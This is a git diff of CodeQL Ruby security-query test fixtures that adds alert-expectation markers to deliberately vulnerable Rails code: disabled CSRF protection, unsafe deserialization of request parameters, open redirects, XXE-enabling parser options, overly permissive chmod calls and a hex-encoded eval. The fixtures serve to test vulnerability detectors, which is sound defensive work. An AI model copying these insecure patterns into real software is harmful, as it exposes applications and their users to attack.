+++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/alternative_root_controller.rb
@@ -1,3 +1,3 @@
 class AlternativeRootController < ActionController::Base
     # BAD: no protect_from_forgery call
-end
\ No newline at end of file
+end # $ Alert[rb/csrf-protection-not-enabled]
diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb
index 6ff599938e81..0d98c535a41b 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb
+++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/application_controller.rb
@@ -2,7 +2,7 @@ class ApplicationController < ActionController::Base
 
   # BAD: `protect_from_forgery` without `with: :exception` can expose an
   # application to CSRF attacks in some circumstances
-  protect_from_forgery
+  protect_from_forgery # $ Alert[rb/csrf-protection-disabled]
 
   before_action authz_guard
 
diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb
index 596a7b0108ff..1b54c332cd27 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb
+++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/app/controllers/users_controller.rb
@@ -1,7 +1,7 @@
 class UsersController < ApplicationController
 
   # BAD: Disabling forgery protection may open the application to CSRF attacks
-  skip_before_action :verify_authenticity_token
+  skip_before_action :verify_authenticity_token # $ Alert[rb/csrf-protection-disabled]
 
   def change_email
     user = current_user
diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb
index 02b349a16304..5d455ebe347a 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb
+++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/application.rb
@@ -13,6 +13,6 @@ class Application < Rails::Application
     config.load_defaults 5.1
 
     # BAD: Disabling forgery protection may open the application to CSRF attacks
-    config.action_controller.allow_forgery_protection = false
+    config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled]
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb
index a61bc6382b6f..968227d5e330 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb
+++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/development.rb
@@ -2,5 +2,5 @@
   # Settings specified here will take precedence over those in config/application.rb.
 
   # GOOD: disabling CSRF protection in the development environment should not be flagged
-  config.action_controller.allow_forgery_protection = false
+  config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled]
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb
index 1a80e8503a60..384097fccf05 100644
--- a/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb
+++ b/ruby/ql/test/query-tests/security/cwe-352/railsapp/config/environments/production.rb
@@ -2,5 +2,5 @@
   # Settings specified here will take precedence over those in config/application.rb.
 
   # BAD: Disabling forgery protection may open the application to CSRF attacks
-  config.action_controller.allow_forgery_protection = false
+  config.action_controller.allow_forgery_protection = false # $ Alert[rb/csrf-protection-disabled]
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb
index 3ec21d778c15..ffaa4107231b 100644
--- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb
+++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/OjGlobalOptions.rb
@@ -10,7 +10,7 @@ def route0
   # BAD - the safe mode set globally is overridden with an unsafe mode passed as
   # a call argument
   def route1
-    json_data = params[:key]
-    object = Oj.load json_data, mode: :object
+    json_data = params[:key] # $ Source
+    object = Oj.load json_data, mode: :object # $ Alert
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref
index 55f7c440b46e..12e3c7a9b6ca 100644
--- a/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-502/oj-global-options/UnsafeDeserialization.qlref
@@ -1 +1,2 @@
-queries/security/cwe-502/UnsafeDeserialization.ql
+query: queries/security/cwe-502/UnsafeDeserialization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb
index 02adc167dab1..d43d9cb9173c 100644
--- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb
+++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/OxGlobalOptions.rb
@@ -3,8 +3,8 @@
 class UsersController < ActionController::Base
   # BAD - Ox.load is unsafe when the mode :object is set globally
   def route0
-    xml_data = params[:key]
-    object = Ox.load xml_data
+    xml_data = params[:key] # $ Source
+    object = Ox.load xml_data # $ Alert
   end
 
   # GOOD - the unsafe mode set globally is overridden with an insecure mode passed as
diff --git a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref
index 55f7c440b46e..12e3c7a9b6ca 100644
--- a/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-502/ox-global-options/UnsafeDeserialization.qlref
@@ -1 +1,2 @@
-queries/security/cwe-502/UnsafeDeserialization.ql
+query: queries/security/cwe-502/UnsafeDeserialization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref
index 55f7c440b46e..12e3c7a9b6ca 100644
--- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.qlref
@@ -1 +1,2 @@
-queries/security/cwe-502/UnsafeDeserialization.ql
+query: queries/security/cwe-502/UnsafeDeserialization.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb
index 633a99c14fbb..8afc514ce6ca 100644
--- a/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb
+++ b/ruby/ql/test/query-tests/security/cwe-502/unsafe-deserialization/UnsafeDeserialization.rb
@@ -8,26 +8,26 @@
 class UsersController < ActionController::Base
   # BAD
   def route0
-    serialized_data = Base64.decode64 params[:key]
-    object = Marshal.load serialized_data
+    serialized_data = Base64.decode64 params[:key] # $ Source
+    object = Marshal.load serialized_data # $ Alert
   end
 
   # BAD
   def route1
-    serialized_data = Base64.decode64 params[:key]
-    object = Marshal.restore serialized_data
+    serialized_data = Base64.decode64 params[:key] # $ Source
+    object = Marshal.restore serialized_data # $ Alert
   end
 
   # BAD
   def route2
-    json_data = params[:key]
-    object = JSON.load json_data
+    json_data = params[:key] # $ Source
+    object = JSON.load json_data # $ Alert
   end
 
   # BAD
   def route3
-    json_data = params[:key]
-    object = JSON.restore json_data
+    json_data = params[:key] # $ Source
+    object = JSON.restore json_data # $ Alert
   end
 
   # GOOD - JSON.parse is safe to use on untrusted data
@@ -38,8 +38,8 @@ def route4
 
   # BAD
   def route5
-    yaml_data = params[:key]
-    object = YAML.load yaml_data
+    yaml_data = params[:key] # $ Source
+    object = YAML.load yaml_data # $ Alert
   end
 
   # GOOD
@@ -50,14 +50,14 @@ def route6
 
   # BAD - Oj.load is unsafe in its default :object mode
   def route7
-    json_data = params[:key]
-    object = Oj.load json_data
-    object = Oj.load json_data, mode: :object
+    json_data = params[:key] # $ Source
+    object = Oj.load json_data # $ Alert
+    object = Oj.load json_data, mode: :object # $ Alert
   end
 
   # GOOD - Oj.load is safe in any other mode
   def route8
-    json_data = params[:key]
+    json_data = params[:key] # $ Source
     # Test the different ways the options hash can be passed
     options = { allow_blank: true, mode: :rails }
     object1 = Oj.load json_data, options
@@ -67,7 +67,7 @@ def route8
     # TODO: false positive; we aren't detecting flow from `:json` to the call argument.
     more_options = { allow_blank: true }
     more_options[:mode] = :json
-    object4 = Oj.load json_data, more_options
+    object4 = Oj.load json_data, more_options # $ Alert
   end
 
   # GOOD
@@ -78,20 +78,20 @@ def route9
 
   # BAD - Oj.object_load is always unsafe
   def route10
-   json_data = params[:key]
-   object = Oj.object_load json_data
+   json_data = params[:key] # $ Source
+   object = Oj.object_load json_data # $ Alert
   end
 
   # BAD - Ox.parse_obj is always unsafe
   def route11
-   xml_data = params[:key]
-   object = Ox.parse_obj xml_data
+   xml_data = params[:key] # $ Source
+   object = Ox.parse_obj xml_data # $ Alert
   end
 
   # BAD - Ox.load with :object mode is always unsafe
   def route12
-    xml_data = params[:key]
-    object = Ox.load xml_data, mode: :object
+    xml_data = params[:key] # $ Source
+    object = Ox.load xml_data, mode: :object # $ Alert
   end
 
   # GOOD - Ox.load is safe in the default mode (which is :generic) and in any other mode than :object
@@ -106,21 +106,21 @@ def route13
   # BAD - `Hash.from_trusted_xml` will deserialize elements with the
   # `type="yaml"` attribute as YAML.
   def route14
-    xml = params[:key]
-    hash = Hash.from_trusted_xml(xml)
+    xml = params[:key] # $ Source
+    hash = Hash.from_trusted_xml(xml) # $ Alert
   end
 
   # BAD before psych version 4.0.0
   def route15
-    yaml_data = params[:key]
-    object = Psych.load yaml_data
+    yaml_data = params[:key] # $ Source
+    object = Psych.load yaml_data # $ Alert
     object = Psych.load_file yaml_data
   end
 
   # GOOD In psych version 4.0.0 and above
   def route16
-    yaml_data = params[:key]
-    object = Psych.load yaml_data
+    yaml_data = params[:key] # $ Source
+    object = Psych.load yaml_data # $ Alert
     object = Psych.load_file yaml_data
   end
 
@@ -134,21 +134,21 @@ def route17
 
   # BAD
   def route18
-    yaml_data = params[:key]
-    object = Psych.unsafe_load(yaml_data)
-    object = Psych.unsafe_load_file(yaml_data)
-    object = Psych.load_stream(yaml_data)
+    yaml_data = params[:key] # $ Source
+    object = Psych.unsafe_load(yaml_data) # $ Alert
+    object = Psych.unsafe_load_file(yaml_data) # $ Alert
+    object = Psych.load_stream(yaml_data) # $ Alert
     parse_output = Psych.parse_stream(yaml_data)
-    object = parse_output.to_ruby
-    object = Psych.parse(yaml_data).to_ruby
-    object = Psych.parse_file(yaml_data).to_ruby
+    object = parse_output.to_ruby # $ Alert
+    object = Psych.parse(yaml_data).to_ruby # $ Alert
+    object = Psych.parse_file(yaml_data).to_ruby # $ Alert
   end
 
   # BAD
   def route19
-    plist_data = params[:key]
-    result = Plist.parse_xml(plist_data)
-    result = Plist.parse_xml(plist_data, marshal: true)
+    plist_data = params[:key] # $ Source
+    result = Plist.parse_xml(plist_data) # $ Alert
+    result = Plist.parse_xml(plist_data, marshal: true) # $ Alert
   end
 
   # GOOD
@@ -158,18 +158,18 @@ def route20
   end
 
   def stdin
-    object = YAML.load $stdin.read
+    object = YAML.load $stdin.read # $ Alert
 
     # STDIN
-    object = YAML.load STDIN.gets
+    object = YAML.load STDIN.gets # $ Alert
 
     # ARGF
-    object = YAML.load ARGF.read
+    object = YAML.load ARGF.read # $ Alert
 
     # Kernel.gets
-    object = YAML.load gets
+    object = YAML.load gets # $ Alert
 
     # Kernel.readlines
-    object = YAML.load readlines
+    object = YAML.load readlines # $ Alert
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref
index afa4fec282c5..48494558b680 100644
--- a/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-506/HardcodedDataInterpretedAsCode.qlref
@@ -1 +1,2 @@
-queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql
+query: queries/security/cwe-506/HardcodedDataInterpretedAsCode.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-506/tst.rb b/ruby/ql/test/query-tests/security/cwe-506/tst.rb
index 67d117e95c49..f3392d0664d7 100644
--- a/ruby/ql/test/query-tests/security/cwe-506/tst.rb
+++ b/ruby/ql/test/query-tests/security/cwe-506/tst.rb
@@ -2,17 +2,17 @@ def e(r)
   [r].pack 'H*'
 end
 
-totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229'
+totally_harmless_string = '707574732822636f646520696e6a656374696f6e2229' # $ Source
 
-eval(e(totally_harmless_string)) # NOT OK: eval("puts('hello'")
+eval(e(totally_harmless_string)) # $ Alert // NOT OK: eval("puts('hello'")
 eval(totally_harmless_string)    # OK: throws parse error
 
-require e('666f6f626172') # NOT OK: require 'foobar' 
+require e('666f6f626172') # $ Alert // NOT OK: require 'foobar'
 require '666f6f626172'    # OK: no taint step between source and sink
 
 x = 'deadbeef'
 require e(x) # OK: doesn't meet our criteria for being a source
 
-another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29"
-eval(another_questionable_string.strip) # NOT OK: eval("puts('hello'")
+another_questionable_string = "\x70\x75\x74\x73\x28\x27\x68\x65\x6C\x6C\x6F\x27\x29" # $ Source
+eval(another_questionable_string.strip) # $ Alert // NOT OK: eval("puts('hello'")
 eval(another_questionable_string)       # OK: no taint step between source and sink
diff --git a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref
index 98d0d8e6be71..1488e6145ba9 100644
--- a/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-598/SensitiveGetQuery.qlref
@@ -1 +1,2 @@
-queries/security/cwe-598/SensitiveGetQuery.ql
\ No newline at end of file
+query: queries/security/cwe-598/SensitiveGetQuery.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb
index 441d8b493ab4..1f2be8152d74 100644
--- a/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb
+++ b/ruby/ql/test/query-tests/security/cwe-598/app/controllers/users_controller.rb
@@ -1,17 +1,17 @@
 class UsersController < ApplicationController
 
   def login_get_1
-    foo = params[:password] # BAD: route handler uses GET query parameters to receive sensitive data
+    foo = params[:password] # $ Alert // BAD: route handler uses GET query parameters to receive sensitive data
     authenticate_user(params[:username], foo)
   end
 
   def login_get_2
-    password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data
+    password = params[:foo] # $ Alert // BAD: route handler uses GET query parameters to receive sensitive data
     authenticate_user(params[:username], password)
   end
 
   def login_get_3
-    @password = params[:foo] # BAD: route handler uses GET query parameters to receive sensitive data
+    @password = params[:foo] # $ Alert // BAD: route handler uses GET query parameters to receive sensitive data
     authenticate_user(params[:username], @password)
   end
 
diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref
index 422dc00837aa..76f39c8d6f3d 100644
--- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.qlref
@@ -1 +1,2 @@
-queries/security/cwe-601/UrlRedirect.ql
+query: queries/security/cwe-601/UrlRedirect.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb
index 78f2248434b1..5ca2ab777049 100644
--- a/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb
+++ b/ruby/ql/test/query-tests/security/cwe-601/UrlRedirect.rb
@@ -1,27 +1,27 @@
 class UsersController < ActionController::Base
   # BAD
   def route1
-    redirect_to params
+    redirect_to params # $ Alert
   end
 
   # BAD
   def route2
-    redirect_to params[:key]
+    redirect_to params[:key] # $ Alert
   end
 
   # BAD
   def route3
-    redirect_to params.fetch(:specific_arg)
+    redirect_to params.fetch(:specific_arg) # $ Alert
   end
 
   # BAD
   def route4
-    redirect_to params.to_unsafe_hash
+    redirect_to params.to_unsafe_hash # $ Alert
   end
 
   # BAD
   def route5
-    redirect_to filter_params(params)
+    redirect_to filter_params(params) # $ Alert
   end
 
   # GOOD
@@ -31,7 +31,7 @@ def route6
 
   # BAD
   def route7
-    redirect_to "#{params[:key]}/foo"
+    redirect_to "#{params[:key]}/foo" # $ Alert
   end
 
   # GOOD
@@ -55,22 +55,22 @@ def create1
   # The same as `create1` but this is reachable via a GET request, as configured
   # by the routes at the bottom of this file.
   def route9
-    redirect_to params[:key]
+    redirect_to params[:key] # $ Alert
   end
 
   # BAD
   def route10
-    redirect_back fallback_location: params[:key]
+    redirect_back fallback_location: params[:key] # $ Alert
   end
 
   # BAD
   def route11
-    redirect_back fallback_location: params[:key], allow_other_host: true
+    redirect_back fallback_location: params[:key], allow_other_host: true # $ Alert
   end
 
   # BAD
   def route12
-    redirect_back_or_to params[:key]
+    redirect_back_or_to params[:key] # $ Alert
   end
 
   # GOOD
@@ -134,4 +134,4 @@ def hello
       redirect_to "/error.html"
     end
   end
-end
\ No newline at end of file
+end
diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb
index 4e3565e149a2..c7013082c77e 100644
--- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb
+++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/LibXmlBackend.rb
@@ -13,11 +13,11 @@ def self.default_substitute_entities
 
 class LibXmlRubyXXE < ApplicationController
   def foo
-    content = params[:xml]
+    content = params[:xml] # $ Source
 
-    LibXML::XML::Parser.file(content, { options: 2048 })
-    Hash.from_xml(content)
-    Hash.from_trusted_xml(content)
-    ActiveSupport::XmlMini.parse(content)
+    LibXML::XML::Parser.file(content, { options: 2048 }) # $ Alert
+    Hash.from_xml(content) # $ Alert
+    Hash.from_trusted_xml(content) # $ Alert
+    ActiveSupport::XmlMini.parse(content) # $ Alert
   end
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref
index 8ed653a4869f..50d9b176008c 100644
--- a/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-611/libxml-backend/Xxe.qlref
@@ -1 +1,2 @@
-queries/security/cwe-611/Xxe.ql
+query: queries/security/cwe-611/Xxe.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb
index a8d640d62c6a..2e38a92330fa 100644
--- a/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb
+++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/LibXmlRuby.rb
@@ -1,15 +1,15 @@
 class LibXmlRubyXXE < ApplicationController
 
-    content = params[:xml]
-    LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' })
-    LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048})
-    LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 })
-    LibXML::XML::Parser.string(content, { options: 2 | 2048 })
-    LibXML::XML::Parser.file(content, { options: 3 | 2048 })
-    LibXML::XML::Parser.io(content, { options: 2 | 2048})
+    content = params[:xml] # $ Source
+    LibXML::XML::Document.string(content, { options: 2 | 2048, encoding: 'utf-8' }) # $ Alert
+    LibXML::XML::Document.file(content, { options: LibXML::XML::Parser::Options::NOENT | 2048}) # $ Alert
+    LibXML::XML::Document.io(content, { options: XML::Parser::Options::NOENT | 2048 }) # $ Alert
+    LibXML::XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert
+    LibXML::XML::Parser.file(content, { options: 3 | 2048 }) # $ Alert
+    LibXML::XML::Parser.io(content, { options: 2 | 2048}) # $ Alert
 
-    XML::Document.string(content, { options: 2 | 2048 })
-    XML::Parser.string(content, { options: 2 | 2048 })
+    XML::Document.string(content, { options: 2 | 2048 }) # $ Alert
+    XML::Parser.string(content, { options: 2 | 2048 }) # $ Alert
 
     LibXML::XML::Parser.file(content, { options: 2048 }) # OK
 
diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb
index 76f37cfb751e..f679ee9aab71 100644
--- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb
+++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Nokogiri.rb
@@ -1,30 +1,30 @@
 class NokogiriXXE < ApplicationController
 
-    content = params[:xml]
+    content = params[:xml] # $ Source
 
-    Nokogiri::XML::parse(content, nil, nil, 2)
-    Nokogiri::XML::parse(content, nil, nil, 1 | 2)
-    Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET)
-    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT)
-    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD)
+    Nokogiri::XML::parse(content, nil, nil, 2) # $ Alert
+    Nokogiri::XML::parse(content, nil, nil, 1 | 2) # $ Alert
+    Nokogiri::XML::parse(content, nil, nil, 1 & ~Nokogiri::XML::ParseOptions::NONET) # $ Alert
+    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT) # $ Alert
+    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::DTDLOAD) # $ Alert
     Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NOENT) #OK
-    Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET)
-    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2)
+    Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET) # $ Alert
+    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions.new 2) # $ Alert
     options = Nokogiri::XML::ParseOptions.new 2048
     options.noent
-    Nokogiri::XML::parse(content, nil, nil, options)
-    Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent)
+    Nokogiri::XML::parse(content, nil, nil, options) # $ Alert
+    Nokogiri::XML::parse(content, nil, nil, (Nokogiri::XML::ParseOptions.new 0).noent) # $ Alert
 
-    Nokogiri::XML::parse(content) { |x| x.noent }
-    Nokogiri::XML::parse(content) { |x| x.nononet } #FAIL
+    Nokogiri::XML::parse(content) { |x| x.noent } # $ Alert
+    Nokogiri::XML::parse(content) { |x| x.nononet } # $ Alert // FAIL
     Nokogiri::XML::parse(content) { |x| x.nodtdload } # OK
 
-    Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload }
+    Nokogiri::XML::parse(content) { |x| x.nonet.noent.nodtdload } # $ Alert
 
     Nokogiri::XML::parse(content, nil, nil, 2048) # OK
-    Nokogiri::XML::parse(content, nil, nil, 3)
+    Nokogiri::XML::parse(content, nil, nil, 3) # $ Alert
     Nokogiri::XML::parse(content) { |x| x.nonet.nodtdload } # OK
-    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS)
-    Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS)
+    Nokogiri::XML::parse(content, nil, nil, Nokogiri::XML::ParseOptions::NOENT & ~Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert
+    Nokogiri::XML::parse(content, nil, nil, ~Nokogiri::XML::ParseOptions::NONET | Nokogiri::XML::ParseOptions::NOBLANKS) # $ Alert
 
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref
index 8ed653a4869f..50d9b176008c 100644
--- a/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-611/xxe/Xxe.qlref
@@ -1 +1,2 @@
-queries/security/cwe-611/Xxe.ql
+query: queries/security/cwe-611/Xxe.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb
index 305bdb2d1470..00530836bb07 100644
--- a/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb
+++ b/ruby/ql/test/query-tests/security/cwe-732/FilePermissions.rb
@@ -2,13 +2,13 @@
 
 def run_chmod_1(filename)
   # BAD: sets file as world writable
-  FileUtils.chmod 0222, filename
+  FileUtils.chmod 0222, filename # $ Alert[rb/overly-permissive-file]
   # BAD: sets file as world writable
-  FileUtils.chmod 0622, filename
+  FileUtils.chmod 0622, filename # $ Alert[rb/overly-permissive-file]
   # BAD: sets file as world readable
-  FileUtils.chmod 0755, filename
+  FileUtils.chmod 0755, filename # $ Alert[rb/overly-permissive-file]
   # BAD: sets file as world readable + writable
-  FileUtils.chmod 0777, filename
+  FileUtils.chmod 0777, filename # $ Alert[rb/overly-permissive-file]
 end
 
 module DummyModule
@@ -25,7 +25,7 @@ def run_chmod_2(filename)
   baz.chmod 0755, filename
   baz = bar
   # BAD: sets file as world readable
-  baz.chmod 0755, filename
+  baz.chmod 0755, filename # $ Alert[rb/overly-permissive-file]
 end
 
 def run_chmod_3(filename)
@@ -48,26 +48,26 @@ def run_chmod_4(filename)
 end
 
 def run_chmod_5(filename)
-  perm = 0777
+  perm = 0777 # $ Alert[rb/overly-permissive-file]
   # BAD: sets world rwx
-  FileUtils.chmod perm, filename
+  FileUtils.chmod perm, filename # $ Sink[rb/overly-permissive-file]
   perm2 = perm
   # BAD: sets world rwx
-  FileUtils.chmod perm2, filename
+  FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file]
 
-  perm = "u=wrx,g=rwx,o=x"
+  perm = "u=wrx,g=rwx,o=x" # $ Alert[rb/overly-permissive-file]
   perm2 = perm
   # BAD: sets group rwx
-  FileUtils.chmod perm2, filename
+  FileUtils.chmod perm2, filename # $ Sink[rb/overly-permissive-file]
   # BAD: sets file as world readable
-  FileUtils.chmod "u=rwx,o+r", filename
+  FileUtils.chmod "u=rwx,o+r", filename # $ Alert[rb/overly-permissive-file]
   # GOOD: sets file as group/world unreadable
   FileUtils.chmod "u=rwx,go-r", filename
   # BAD: sets group/world as +rw
-  FileUtils.chmod "a+rw", filename
+  FileUtils.chmod "a+rw", filename # $ Alert[rb/overly-permissive-file]
 end
 
 def run_chmod_R(filename)
   # BAD: sets file as world readable
-  FileUtils.chmod_R 0755, filename
+  FileUtils.chmod_R 0755, filename # $ Alert[rb/overly-permissive-file]
 end
diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref
index 7c8c5ca3c934..94f0b0dac3c2 100644
--- a/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-732/WeakCookieConfiguration.qlref
@@ -1 +1,2 @@
-queries/security/cwe-732/WeakCookieConfiguration.ql
+query: queries/security/cwe-732/WeakCookieConfiguration.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref
index bf19b31509d5..baceccada54c 100644
--- a/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref
+++ b/ruby/ql/test/query-tests/security/cwe-732/WeakFilePermissions.qlref
@@ -1 +1,2 @@
-queries/security/cwe-732/WeakFilePermissions.ql
+query: queries/security/cwe-732/WeakFilePermissions.ql
+postprocess: utils/test/InlineExpectationsTestQuery.ql
diff --git a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb
index 5b5604f4d783..e6993033b229 100644
--- a/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb
+++ b/ruby/ql/test/query-tests/security/cwe-732/app/config/application.rb
@@ -11,16 +11,16 @@ class Application < Rails::Application
     config.action_dispatch.encrypted_cookie_cipher = "ChaCha"
 
